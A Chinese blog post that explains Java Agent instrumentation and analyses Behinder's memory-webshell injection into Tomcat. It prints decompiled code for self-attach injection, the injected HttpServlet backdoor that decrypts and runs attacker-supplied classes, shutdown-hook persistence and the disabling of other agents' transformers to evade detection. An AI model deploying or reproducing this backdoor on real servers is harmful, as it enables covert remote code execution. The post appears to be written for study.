前言 最近在研究webshell
免杀,发现针对很多类型的内存马已经有了比较成型的检测方法,当然大多数内存马的查杀方式也是基于javaAgent
,但是rebeyond
前辈在文章Java内存攻击技术漫谈 中给出了绕过检测工具的方法,理论上这种绕过会导致现有的基于Agent
检测的工具无法使用,所以值得我们深入学习。
Java Agent 网上关于Java Agent
的文章已经很多了,下面引用一段关于Java Agent
的介绍。
java Instrumentation指的是可以用独立于应用程序之外的代理(agent)程序来监测和协助运行在JVM上的应用程序。这种监测和协助包括但不限于获取JVM运行时状态,替换和修改类定义等。简单一句话概括下:Java Instrumentation可以在JVM启动后,动态修改已加载或者未加载的类,包括类的属性、方法。
一般有两种方式运行Agent
,即启动时
和运行时
。
启动时 启动Java程序的时候添加-javaagent(Instrumentation API实现方式)
或-agentpath/-agentlib(JVMTI的实现方式)
参数。
如何实现?
jar包中的MANIFEST.MF 文件必须指定 Premain-Class 项
Premain-Class 指定的那个类必须实现 premain() 方法
premain
方法会在执行main方法前调用,在运行main方法前会去加载-javaagent指定的jar包里面的Premain-Class类中的premain方法 。
instrument类 提供允许 Java 编程语言代理监测运行在 JVM 上的程序的服务。监测的机制是对方法的字节码的修改 ,在启动 JVM 时,通过指示代理类 及其代理选项 启动一个代理程序。
Instrumentation接口 Instrumentation
提供了用来监测运行在JVM中的Java API。
addTransformer/removeTransformer
添加或删除ClassFileTransformer
getAllLoadedClasses
获取所有JVM加载的类
redefineClasses
重新定义已经加载类的字节码
setNativeMethodPrefix
动态设置JNI
前缀,可以实现Hook native方法。
retransformClasses
重新加载已经被JVM加载过的类的字节码
ClassFileTransformer
是一个转换类文件的代理接口,我们可以在获取到Instrumentation
对象后通过addTransformer
方法添加自定义类文件转换器。
工作原理 当我们使用了addTransformer
注册了一个我们自定义的Transformer
到Java Agent
,当有新的类被JVM
加载时JVM
会自动回调用我们自定义的Transformer
类的transform
方法,传入该类的transform
信息(类名、类加载器、类字节码
等),我们可以根据传入的类信息决定是否需要修改类字节码,修改完字节码后我们将新的类字节码返回给JVM
,JVM
会验证类和相应的修改是否合法,如果符合类加载要求JVM
会加载我们修改后的类字节码。
示例 下面我们举个栗子,使用Java Agent
完成对类的内容的修改。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class User { public String name; public User (String name) { this .name = name; } @Override public String toString () { return "User{" + "name='" + name + '\'' + '}' ; } }
创建FirstAgent
类,并重写premain
方法
1 2 3 4 5 6 7 8 import java.lang.instrument.Instrumentation;public class FirstAgent { public static void premain (String agentArgs, Instrumentation inst) { System.out.println("FirstAgent is Start." ); inst.addTransformer(new FirstTransformer()); } }
创建FirstTransformer
类,重写transform
方法,通过javasist
技术对User
类添加sex
属性并对toString
方法修改。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import javassist.*;import java.io.ByteArrayInputStream;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain;public class FirstTransformer implements ClassFileTransformer { public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { if (className.equals("User" )){ try { ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(new LoaderClassPath(loader)); CtClass clazz = classPool.makeClass(new ByteArrayInputStream(classfileBuffer), false ); CtField param = new CtField(classPool.get("java.lang.String" ), "sex" , clazz); param.setModifiers(Modifier.PRIVATE); clazz.addField(param, CtField.Initializer.constant("male" )); clazz.addMethod(CtNewMethod.setter("setSex" , param)); clazz.addMethod(CtNewMethod.getter("getSex" , param)); CtMethod method = clazz.getDeclaredMethod("toString" ); method.setBody("return \"User{\" +\n" + " \"name='\" + name + '\\',' +\n" + " \"sex='\" + sex + '\\'' +\n" + " '}';" ); return clazz.toBytecode(); } catch (Exception e) { e.printStackTrace(); } } return null ; } }
1 2 3 4 5 6 7 8 9 import com.alibaba.fastjson.JSON;public class test { public static void main (String[] args) { User user = new User("aaa" ); System.out.println(JSON.toJSON(user)); System.out.println(user.toString()); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 <artifactId > maven-jar-plugin</artifactId > <version > 3.1.2</version > <configuration > <archive > <manifestEntries > <Premain-Class > FirstAgent</Premain-Class > <Boot-Class-Path > javaagent.jar</Boot-Class-Path > <Can-Redefine-Classes > true</Can-Redefine-Classes > <Can-Retransform-Classes > true</Can-Retransform-Classes > <Can-Set-Native-Method-Prefix > false</Can-Set-Native-Method-Prefix > </manifestEntries > </archive > </configuration >
最后在启动测试类时加上-javaagent:D:\javaagent-1.0-SNAPSHOT.jar
,可以看到我们的Agent
已经生效。
运行时 上面虽然已经了解了启动时
的Agent技术,但从我们利用来讲,肯定不能为了种植内存马停了Tomcat
服务再启动吧?所以运行时
的Agent技术实现才是我们了解的重点。
在JDK 1.6后,增加了agentmain
方法,可以在main
方法执行后执行。
1 2 public static void agentmain (String agentArgs, Instrumentation inst) public static void agentmain (String agentArgs)
运行时的Agent
实现主要依靠VirtualMachine
和VirtualMachineDescriptor
VirtualMachine VirtualMachine
可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)。
Attach :允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上
loadAgent :向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理。
Detach :解除Attach
VirtualMachineDescriptor VirtualMachineDescriptor
是用于描述 Java 虚拟机的容器类。它封装了一个标识目标虚拟机的标识符,以及一个AttachProvider
在尝试连接到虚拟机时应该使用的引用。标识符依赖于实现,但通常是进程标识符(或 pid)环境,其中每个 Java 虚拟机在其自己的操作系统进程中运行。
VirtualMachineDescriptor
实例通常是通过调用VirtualMachine.list()
方法创建的。这将返回描述所有已安装 Java 虚拟机的完整描述符列表attach providers
。
工作原理 VirtualMachine
类的attach(pid)
方法,可以attach到一个运行中的java进程上,之后便可以通过loadAgent(agentJarPath)
来将agent的jar包注入到对应的进程,然后对应的进程会调用agentmain方法。
示例 下面演示使用agentmain
运行时修改内容,示例的大部分内容和启动时
的相同,我只列出需要更改的部分。
testAttachAgent,当检测到类名为test
时则加载Agent进行修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import java.io.IOException;import java.util.List;import com.sun.tools.attach.*;public class testAttachAgent { public static void main (String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { System.out.println("running JVM start " ); List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list) { System.out.println(vmd.displayName()); if (vmd.displayName().endsWith("test" )) { VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("C:\\Users\\admin\\Desktop\\javaagent-1.0-SNAPSHOT.jar" ); virtualMachine.detach(); } } } }
1 2 3 4 5 6 public class FirstAgent {public static void agentmain (String agentArgs, Instrumentation instrumentation) { instrumentation.addTransformer(new FirstTransformer(), true ); } }
1 2 3 4 5 6 7 8 9 <archive > <manifestEntries > <Agent-Class > FirstAgent</Agent-Class > <Boot-Class-Path > javaagent.jar</Boot-Class-Path > <Can-Redefine-Classes > true</Can-Redefine-Classes > <Can-Retransform-Classes > true</Can-Retransform-Classes > <Can-Set-Native-Method-Prefix > false</Can-Set-Native-Method-Prefix > </manifestEntries > </archive >
最后以调试运行test
程序,再运行testAttachAgent
,当test
中再次触发类加载,将触发transform
方法。
如何修改已经加载的类? 通过上面的分析,即使是运行时Attach
,也只有在触发类加载操作时才会调用我们的transform
,如果是已经加载的类,我们如果通过Java Agent
进行修改呢?
对于已加载的类,需要调用retransformClass
函数,然后经由redefineClasses
函数,在读取已加载的字节码文件后,重新加载指定类的字节码。
通过retransformClasses
重新加载字节码
1 2 3 4 5 6 7 8 9 10 11 12 13 public static void agentmain (String agentArgs, Instrumentation instrumentation) { instrumentation.addTransformer(new FirstTransformer(), true ); Class[] allLoadedClasses = instrumentation.getAllLoadedClasses(); for (Class loadedClass : allLoadedClasses) { if (loadedClass.getName()=="User" ){ try { instrumentation.retransformClasses(loadedClass); } catch (UnmodifiableClassException e) { e.printStackTrace(); } } } }
但是这样会报一个错误,从字面意思上是不支持在重新加载时添加或者删除字段
通过查阅资料,使用redefineClasses
时有一些限制
继承相同的父类 ;
实现相同的接口 ;
字段数和字段名要一致 ;
新增或删除的方法必须是private static/final修饰的 ;
可以修改方法实现
所以我们要修改下transform
方法的实现,只对toString
方法进行修改。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class FirstTransformer implements ClassFileTransformer { public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { if (className.equals("User" )){ try { ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(new LoaderClassPath(loader)); CtClass clazz = classPool.makeClass(new ByteArrayInputStream(classfileBuffer), false ); CtMethod method = clazz.getDeclaredMethod("toString" ); method.setBody("return \"test666\";" ); return clazz.toBytecode(); } catch (Exception e) { e.printStackTrace(); } } return null ; } }
冰蝎Agent内存马实现分析 上面我们了解了如何通过Java Agent
在运行时修改方法内容,下面我们分析下冰蝎内存马的实现 。
内存马植入流程分析 冰蝎内存马植入的部分主要在injectMemShell
中实现,injectMemShell
做了如下操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 JSONObject shellEntity = this .shellManager.findShell(shellID); ShellService shellService = new ShellService(shellEntity); shellService.doConnect(); String osInfo = shellEntity.getString("os" ); int osType; String libPath; if (osInfo == null || osInfo.equals("" )) { osType = (new SecureRandom()).nextInt(3000 ); libPath = Utils.getRandomString(osType); JSONObject basicInfoObj = new JSONObject(shellService.getBasicInfo(libPath)); osInfo = (new String(Base64.decode(basicInfoObj.getString("osInfo" )), "UTF-8" )).toLowerCase(); } osType = Utils.getOSType(osInfo);
根据主机的类型上传不同的jar包到temp目录下,当osType
为0表示系统为windows,上传tools_0.jar
1 2 3 4 5 6 7 8 9 10 11 libPath = Utils.getRandomString(6 ); if (osType == Constants.OS_TYPE_WINDOWS) { libPath = "c:/windows/temp/" + libPath; } else { libPath = "/tmp/" + libPath; } shellService.uploadFile(libPath, Utils.getResourceData("net/rebeyond/behinder/resource/tools/tools_" + osType + ".jar" ), true ); shellService.injectMemShell(type, libPath, path, Utils.getKey(shellEntity.getString("password" )), isAntiAgent);
在loadjar
中加载Loader
类,将传上去的jar通过Url
加载
1 shellService.loadJar(libPath);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public JSONObject loadJar (String libPath) throws Exception { Map params = new LinkedHashMap(); params.put("libPath" , libPath); byte [] data = Utils.getData(this .currentKey, this .encryptType, "Loader" , params, this .currentType); Map resultObj = Utils.requestAndParse(this .currentUrl, this .currentHeaders, data, this .beginIndex, this .endIndex); byte [] resData = (byte [])((byte [])resultObj.get("data" )); String resultTxt = new String(Crypt.Decrypt(resData, this .currentKey, this .encryptType, this .currentType)); JSONObject result = new JSONObject(resultTxt); Iterator var8 = result.keySet().iterator(); while (var8.hasNext()) { String key = (String)var8.next(); result.put(key, (Object)(new String(Base64.decode(result.getString(key)), "UTF-8" ))); } return result; }
Loader
的equals
方法主要代码实现如下,通过URLClassLoader
将上传的jar包加载到内存中
1 2 3 4 5 6 7 8 9 10 11 12 public boolean equals (Object obj) { ... URL url = (new File(libPath)).toURI().toURL(); URLClassLoader urlClassLoader = (URLClassLoader)ClassLoader.getSystemClassLoader(); Method add = URLClassLoader.class.getDeclaredMethod("addURL" , URL.class); add.setAccessible(true ); add.invoke(urlClassLoader, url); result.put("status" , "success" ); ... return true ; }
injectMemShell
中加载了MemShell
,而MemShell
中完成了内存马加载的核心逻辑。
1 shellService.injectMemShell(type, libPath, path, Utils.getKey(shellEntity.getString("password" )), isAntiAgent);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public JSONObject injectMemShell (String type, String libPath, String path, String password, boolean isAntiAgent) throws Exception { Map params = new LinkedHashMap(); params.put("type" , type); params.put("libPath" , libPath); params.put("path" , path); params.put("password" , password); params.put("antiAgent" , isAntiAgent + "" ); byte [] data = Utils.getData(this .currentKey, this .encryptType, "MemShell" , params, this .currentType); Map resultObj = Utils.requestAndParse(this .currentUrl, this .currentHeaders, data, this .beginIndex, this .endIndex); byte [] resData = (byte [])((byte [])resultObj.get("data" )); String resultTxt = new String(Crypt.Decrypt(resData, this .currentKey, this .encryptType, this .currentType)); JSONObject result = new JSONObject(resultTxt); Iterator var12 = result.keySet().iterator(); while (var12.hasNext()) { String key = (String)var12.next(); result.put(key, (Object)(new String(Base64.decode(result.getString(key)), "UTF-8" ))); } return result; }
MemShell
的equals
方法中,首先设置了allowAttachSelf
并调用了doAgentShell
完成内存马种植。
为什么设置allowAttachSelf
rebeyond前辈在Java内存攻击技术漫谈 中讲过,在JDK9以上,jdk.attach.allowAttachSelf
默认为false,也就是无法Attach,所以才需要设置为true。
1 2 3 4 5 6 7 8 9 10 11 12 public boolean equals (Object obj) {... System.setProperty("jdk.attach.allowAttachSelf" , "true" ); this .fillContext(obj); if (type.equals("Agent" )) { try { this .doAgentShell(Boolean.parseBoolean(antiAgent)); ... return true ; }
doAgentShell
首先通过反射获取loadAgent
和attach
方法并调用,如果是linux则删除生成的临时文件,最后删除上传的jar
包。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public void doAgentShell (boolean antiAgent) throws Exception { try { Class VirtualMachineCls = ClassLoader.getSystemClassLoader().loadClass("com.sun.tools.attach.VirtualMachine" ); Method attachMethod = VirtualMachineCls.getDeclaredMethod("attach" , String.class); Method loadAgentMethod = VirtualMachineCls.getDeclaredMethod("loadAgent" , String.class, String.class); Object obj = attachMethod.invoke(VirtualMachineCls, getCurrentPID()); loadAgentMethod.invoke(obj, libPath, base64encode(path) + "|" + base64encode(password)); String osInfo = System.getProperty("os.name" ).toLowerCase(); if (osInfo.indexOf("windows" ) < 0 && osInfo.indexOf("winnt" ) < 0 && osInfo.indexOf("linux" ) >= 0 && antiAgent) { String fileName = "/tmp/.java_pid" + getCurrentPID(); (new File(fileName)).delete(); } ... } finally { (new File(libPath)).delete(); } }
Agent实现 通过上面的分析我们已经了解了冰蝎Agent
注入的流程,并且也了解到Agent
的实现主要在tools_0.jar
中。
在MANIFEST.MF
中,可以通过配置得到Agent-Class
为MemShell
。
1 2 Agent-Class: net.rebeyond.behinder.payload.java.MemShell Can-Redefine-Classes: true
agentmain
方法中为注入内存马的逻辑
1 Class<?>[] cLasses = inst.getAllLoadedClasses();
将HttpServlet
的service
方法需要的信息封装到Map
中,这里应该是不同版本的Tomcat包名发生了改变,所以准备了javax.servlet
和jakarta.servlet
两个数据包。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Map<String, Map<String, Object>> targetClasses = new HashMap(); Map<String, Object> targetClassJavaxMap = new HashMap(); targetClassJavaxMap.put("methodName" , "service" ); List<String> paramJavaxClsStrList = new ArrayList(); paramJavaxClsStrList.add("javax.servlet.ServletRequest" ); paramJavaxClsStrList.add("javax.servlet.ServletResponse" ); targetClassJavaxMap.put("paramList" , paramJavaxClsStrList); targetClasses.put("javax.servlet.http.HttpServlet" , targetClassJavaxMap); Map<String, Object> targetClassJakartaMap = new HashMap(); targetClassJakartaMap.put("methodName" , "service" ); List<String> paramJakartaClsStrList = new ArrayList(); paramJakartaClsStrList.add("jakarta.servlet.ServletRequest" ); paramJakartaClsStrList.add("jakarta.servlet.ServletResponse" ); targetClassJakartaMap.put("paramList" , paramJakartaClsStrList); targetClasses.put("javax.servlet.http.HttpServlet" , targetClassJavaxMap); targetClasses.put("jakarta.servlet.http.HttpServlet" , targetClassJakartaMap);
下面是Agent
实现的核心代码,判断已经加载的类是否为HttpServlet
,如果是则从参数中获取path
和key
,通过format
对shellcode
中的占位符替换。通过javasist
技术将shellcode
插入到HttpServlet.service
方法之前,最后通过redefineClasses
重新触发类加载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 Class[] var28 = cLasses; int var13 = cLasses.length; for (int var14 = 0 ; var14 < var13; ++var14) { Class<?> cls = var28[var14]; if (targetClasses.keySet().contains(cls.getName())) { String targetClassName = cls.getName(); try { String path = new String(base64decode(args.split("\\|" )[0 ])); String key = new String(base64decode(args.split("\\|" )[1 ])); shellCode = String.format(shellCode, path, key); if (targetClassName.equals("jakarta.servlet.http.HttpServlet" )) { shellCode = shellCode.replace("javax.servlet" , "jakarta.servlet" ); } ClassClassPath classPath = new ClassClassPath(cls); cPool.insertClassPath(classPath); cPool.importPackage("java.lang.reflect.Method" ); cPool.importPackage("javax.crypto.Cipher" ); List<CtClass> paramClsList = new ArrayList(); Iterator var21 = ((List)((Map)targetClasses.get(targetClassName)).get("paramList" )).iterator(); String methodName; while (var21.hasNext()) { methodName = (String)var21.next(); paramClsList.add(cPool.get(methodName)); } CtClass cClass = cPool.get(targetClassName); methodName = ((Map)targetClasses.get(targetClassName)).get("methodName" ).toString(); CtMethod cMethod = cClass.getDeclaredMethod(methodName, (CtClass[])paramClsList.toArray(new CtClass[paramClsList.size()])); cMethod.insertBefore(shellCode); cClass.detach(); data = cClass.toBytecode(); inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(cls, data)}); } catch (Exception var24) { var24.printStackTrace(); } catch (Error var25) { var25.printStackTrace(); } } }
shellcode中的内容如下,也就是在执行前首先判断URL是否为内存马的路径,如果是则执行冰蝎马的逻辑,否则执行正常的HttpServlet
的逻辑。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1 ; javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2 ; javax.servlet.http.HttpSession session = request.getSession(); String pathPattern=\"%s\"; if (request.getRequestURI().matches(pathPattern)) { java.util.Map obj=new java.util.HashMap(); obj.put(\"request\",request); obj.put(\"response\",response); obj.put(\"session\",session); ClassLoader loader=this.getClass().getClassLoader(); if (request.getMethod().equals(\"POST\")) { try { String k=\"%s\"; session.putValue(\"u\",k); java.lang.ClassLoader systemLoader=java.lang.ClassLoader.getSystemClassLoader(); Class cipherCls=systemLoader.loadClass(\"javax.crypto.Cipher\"); Object c=cipherCls.getDeclaredMethod(\"getInstance\",new Class[]{String.class}).invoke((java.lang.Object)cipherCls,new Object[]{\"AES\"}); Object keyObj=systemLoader.loadClass(\"javax.crypto.spec.SecretKeySpec\").getDeclaredConstructor(new Class[]{byte[].class,String.class}).newInstance(new Object[]{k.getBytes(),\"AES\"});; java.lang.reflect.Method initMethod=cipherCls.getDeclaredMethod(\"init\",new Class[]{int.class,systemLoader.loadClass(\"java.security.Key\")}); initMethod.invoke(c,new Object[]{new Integer(2),keyObj}); java.lang.reflect.Method doFinalMethod=cipherCls.getDeclaredMethod(\"doFinal\",new Class[]{byte[].class}); byte[] requestBody=null; try { Class Base64 = loader.loadClass(\"sun.misc.BASE64Decoder\"); Object Decoder = Base64.newInstance(); requestBody=(byte[]) Decoder.getClass().getMethod(\"decodeBuffer\", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()}); } catch (Exception ex) { Class Base64 = loader.loadClass(\"java.util.Base64\"); Object Decoder = Base64.getDeclaredMethod(\"getDecoder\",new Class[0]).invoke(null, new Object[0]); requestBody=(byte[])Decoder.getClass().getMethod(\"decode\", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()}); } byte[] buf=(byte[])doFinalMethod.invoke(c,new Object[]{requestBody}); java.lang.reflect.Method defineMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{String.class,java.nio.ByteBuffer.class,java.security.ProtectionDomain.class}); defineMethod.setAccessible(true); java.lang.reflect.Constructor constructor=java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[]{java.lang.ClassLoader.class}); constructor.setAccessible(true); java.lang.ClassLoader cl=(java.lang.ClassLoader)constructor.newInstance(new Object[]{loader}); java.lang.Class c=(java.lang.Class)defineMethod.invoke((java.lang.Object)cl,new Object[]{null,java.nio.ByteBuffer.wrap(buf),null}); c.newInstance().equals(obj); } catch(java.lang.Exception e) { e.printStackTrace(); } catch(java.lang.Error error) { error.printStackTrace(); } return; } } " ;
通过上面的分析,我们可以知道其实冰蝎的Agent内存马实现是修改了HttpServlet.service
方法,HttpServlet
是所有Servlet
的直接或者间接的父类,在internalDoFilter.doFilter
中会调用HttpServlet.service
,再由这个方法转到其他Servlet
的service
方法中完成处理。
持久化 冰蝎的持久化部分在persist
函数中实现,首先通过readInjectFile
和readAgentFile
将inject.jar
和agent.jar
读取到内存,在persist
函数中写入到文件并通过startInject
执行Inject.jar
。这里的addShutdownHook
是一个钩子,Hook了JVM关闭的事件,也就是说当JVM关闭时,会调用Run
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public static void agentmain (String agentArgs, Instrumentation inst) { ... try { initLoad(); readInjectFile(currentPath); readAgentFile(currentPath); clear(currentPath); } catch (Exception var8) { } persist(); } public static void persist () { try { Thread t = new Thread() { public void run () { try { Agent.writeFiles("inject.jar" , Agent.injectFileBytes); Agent.writeFiles("agent.jar" , Agent.agentFileBytes); Agent.startInject(); } catch (Exception var2) { } } }; t.setName("shutdown Thread" ); Runtime.getRuntime().addShutdownHook(t); } catch (Throwable var1) { } }
startInject
方法比较简单,通过命令执行Inject.jar
。
1 2 3 4 5 6 public static void startInject () throws Exception { Thread.sleep(2000L ); String tempFolder = System.getProperty("java.io.tmpdir" ); String cmd = "java -jar " + tempFolder + File.separator + "inject.jar " + password; Runtime.getRuntime().exec(cmd); }
Inject.jar
则创建一个while
循环,检测运行的JVM虚拟机是否为Tomcat
,如果是则执行Attach
和loadAgent
完成运行时的注入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public static void main (String[] args) throws Exception { if (args.length != 1 ) { System.out.println("Usage:java -jar inject.jar password" ); } else { ... while (true ) { while (true ) { try { vmList = VirtualMachine.list(); if (vmList.size() > 0 ) { Iterator var8 = vmList.iterator(); while (var8.hasNext()) { VirtualMachineDescriptor vmd = (VirtualMachineDescriptor)var8.next(); if (vmd.displayName().indexOf("catalina" ) >= 0 ) { vm = VirtualMachine.attach(vmd); System.out.println("[+]OK.i find a jvm." ); Thread.sleep(1000L ); if (vm != null ) { vm.loadAgent(agentFile, agentArgs); System.out.println("[+]memeShell is injected." ); vm.detach(); return ; } ... }
通过分析实现我们不难看出,这种方法的实现是在关闭JVM是将Agent
的代码写入到文件,并重新开启一个JAVA进程,如果在关闭Tomcat后结束了所有的JAVA进程比如说系统重启,那么这种方式的持久化显然就不行了。
防检测 rebeyond
师傅在Java内存攻击技术漫谈
中给出了在Windows
和Linux
平台下防止Attach的方法,Windows
下将_JVM_EnqueueOperation@20
和JVM_EnqueueOperation
NOP实现,由于我缺乏这方面的知识背景就不分析了。Linux
下通过删除UNIX Domain Socket
文件实现。
ZhouYu
Agent内存马也实现了防检测的技术,主要通过检测被加载的类是否实现ClassFileTransformer
接口,如果是则将该类的实现改为空。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 private boolean check0 (String className, CtClass ctClass) throws Throwable { CtClass[] interfaces = ctClass.getInterfaces(); if (interfaces != null ) { boolean flag = false ; for (CtClass anInterface : interfaces) { if (anInterface.getName().equals("java.lang.instrument.ClassFileTransformer" )) { System.out.println(String.format("[ZhouYu] 有新的agent: %s 加载,把它干掉!" , className)); return true ; } flag |= check0(className, anInterface); if (flag) { return flag; } } } return false ; } private byte [] check(String className, ClassLoader loader, byte [] codeBytes) { CtClass ctClass = null ; try { ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(new LoaderClassPath(loader)); ctClass = classPool.makeClass(new ByteArrayInputStream(codeBytes)); if (check0(className, ctClass)) { return new byte [0 ]; } } catch (Throwable e) { e.printStackTrace(); } finally { if (ctClass != null ) { ctClass.detach(); } } return codeBytes; }
总结 这篇文章主要是学习Agent
及Agent内存马的实现记录,似乎如果真的在种植了Agent内存马并反检测后无法Attach
上去检测,只有在Agent
内存马打上去之前Attach
才可以,这些对于那些云厂商来说应该是可以实现的,但是对普通的服务器来说一般不会在启动时就先启动java Agent
检测。
参考文章